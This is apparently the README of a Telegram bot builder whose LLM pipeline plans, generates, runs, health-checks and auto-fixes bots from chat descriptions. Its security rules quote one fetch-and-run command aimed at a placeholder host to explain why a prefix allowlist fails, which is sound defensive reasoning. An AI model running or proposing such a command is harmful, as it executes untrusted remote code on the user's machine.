You talk to a bot. You tell it what you want. It writes the code, deploys it,
and hands you back a live bot — then fixes its own crashes.
Telegram is where a lot of the world's small businesses actually run — orders, bookings, support, all of it in chat. Those owners can't write a bot, and the no-code builders hand them a button menu with a flowchart editor attached.
So the interface here is the one thing they already know how to use: a conversation.
No editor. No canvas. No account to create before you see whether it works.
A conversational state machine drives an agent pipeline. Every stage is one tool, and you can read all of them:
| Stage | What happens | Code |
|---|---|---|
| Plan | Your description becomes a structured spec you approve before anything is written | tools/planner.ts |
| Generate | Code streams back as XML <file> / <action> blocks, parsed and written to a workspace |
tools/generator.ts |
| Spawn | The bot runs as a sandboxed child process that can't see any platform secret | sandbox/ |
| Health check | Still alive after four seconds? Only then do you get told it worked | tools/health.ts |
| Auto-fix | A crash feeds its own stderr back to the model, up to three attempts | tools/fixer.ts |
| Edit | "Add a cancel button" patches the running bot instead of regenerating it | tools/editor.ts |
Building the same booking bot by hand starts like this — and it's the easy part, before slots, storage, timezones, and the cancel flow:
import { Bot, InlineKeyboard, session } from "grammy";
const bot = new Bot(process.env.BOT_TOKEN!);
bot.use(session({ initial: () => ({ step: "idle", service: null, slot: null }) }));
bot.command("start", async (ctx) => {
const kb = new InlineKeyboard();
for (const s of SERVICES) kb.text(s.name, `svc:${s.id}`).row();
await ctx.reply("Pick a service:", { reply_markup: kb });
});
bot.callbackQuery(/^svc:(.+)$/, async (ctx) => {
ctx.session.service = ctx.match[1];
// ...and now build the day picker, the slot picker, the confirm step,
// the SQLite schema, the owner notification, the cancel handler
});Instead:
a booking bot for my barbershop — clients pick a time slot and I get notified
Generated bots aren't toy button menus, either. They get SQLite for state, cron for schedules, fetch for outside APIs, and AI replies through the platform proxy — without ever needing an API key of their own.
git clone https://github.com/yerdaulet-damir/tgbuilder.git
cd tgbuilder
pnpm install
cp .env.example .env # BOT_TOKEN from @BotFather + one LLM API key
pnpm devMessage your builder bot and describe what you want. That's the whole loop.
Running services individually
cd apps/api && pnpm dev # agent pipeline + webhook server, :4000
cd apps/telegram && pnpm dev # Telegram adapter for the builder botFull stack with Docker (adds the integrations engine)
docker compose up --buildBring your own model
The first available provider wins: xAI → OpenAI → Anthropic → GLM. Pin one with LLM_MODEL=provider:model, or route each stage separately with PLANNER_MODEL, BUILDER_MODEL, EDITOR_MODEL — a cheap model for edits, a stronger one for planning.
A pnpm + Turborepo monorepo. One API process serves every deployed bot through a single multi-tenant webhook map — no container per bot, no service per customer.
apps/
api/ Hono server — agent pipeline, tools, auth, webhook/:botId for all bots
telegram/ grammY adapter — maps Telegram messages to the pipeline
web/ React dashboard (early)
landing/ marketing site (Next.js)
packages/
core/ shared by api + telegram: sessions, sandbox, auth, provider resolution
spec/ Zod schemas for BotSpec / BotConfig
db/ Supabase schema + migration runner
CLAUDE.md is the full internals reference — read it before your first PR.
Four rules this codebase is built on. They exist because a bot builder is an unusual thing to write: the code running in production was written by a language model thirty seconds ago, and nobody reviewed it.
1 · Everything the model writes is untrusted input. Not "probably fine," not "it's our own prompt." Generated shell commands are matched against an allowlist on tokenized argv and refused otherwise — a prefix check is not a gate, since npm install x && curl evil.sh | sh starts with npm install. Generated processes never inherit process.env; they get PATH, their own credentials, and nothing more.
2 · Credentials are derived, not stored. Every per-bot secret is HMAC(PLATFORM_SECRET, "bot:" + id). No secrets table, no migration, no rotation script. Change one value and every derived credential rotates at once.
3 · Nobody should need an API key to own a bot. If the flow requires a barbershop owner to go get an OpenAI key, the product has already failed. Bots call the platform's AI proxy; the proxy holds the key.
4 · Ship the shallow version first. v0.1 had no streaming agent, no auto-fix, no integrations. Architecture written before users is architecture written for imaginary requirements. Read the git history before proposing a framework.
Is it safe to run model-written code on my own server?
Partly, and the honest answer is in SECURITY.md. Shell commands are allowlisted and generated processes can't reach platform secrets — but they still run as unconfined host processes with filesystem access. Use a dedicated host, not one sitting next to something valuable.
Do generated bots need their own API keys?
No. They authenticate to the platform's AI proxy with a credential injected at spawn. You supply one LLM key for the platform; end users supply nothing.
What happens when the generated code crashes?
The fixer reads the crash's stderr and repairs it, up to three attempts, before asking you for more detail. You never get handed a bot that failed its health check.
Can I change a bot after it's built?
Describe the change in chat. The editor patches the existing code and snapshots the previous version, so an edit is reversible instead of a regenerate-from-scratch.
Is this a wrapper around n8n, or around one specific model?
Neither. n8n covers the integrations layer only; the generation pipeline is this repo. Any of four providers works, swappable per stage.
Are there tests?
Not yet — and that's the most useful place to contribute. The security behavior in SECURITY.md was verified by hand, which means nothing currently stops a future commit from regressing it.
Early and rough in places, which makes it a good time to show up. Start with CONTRIBUTING.md; security posture and known gaps are in SECURITY.md.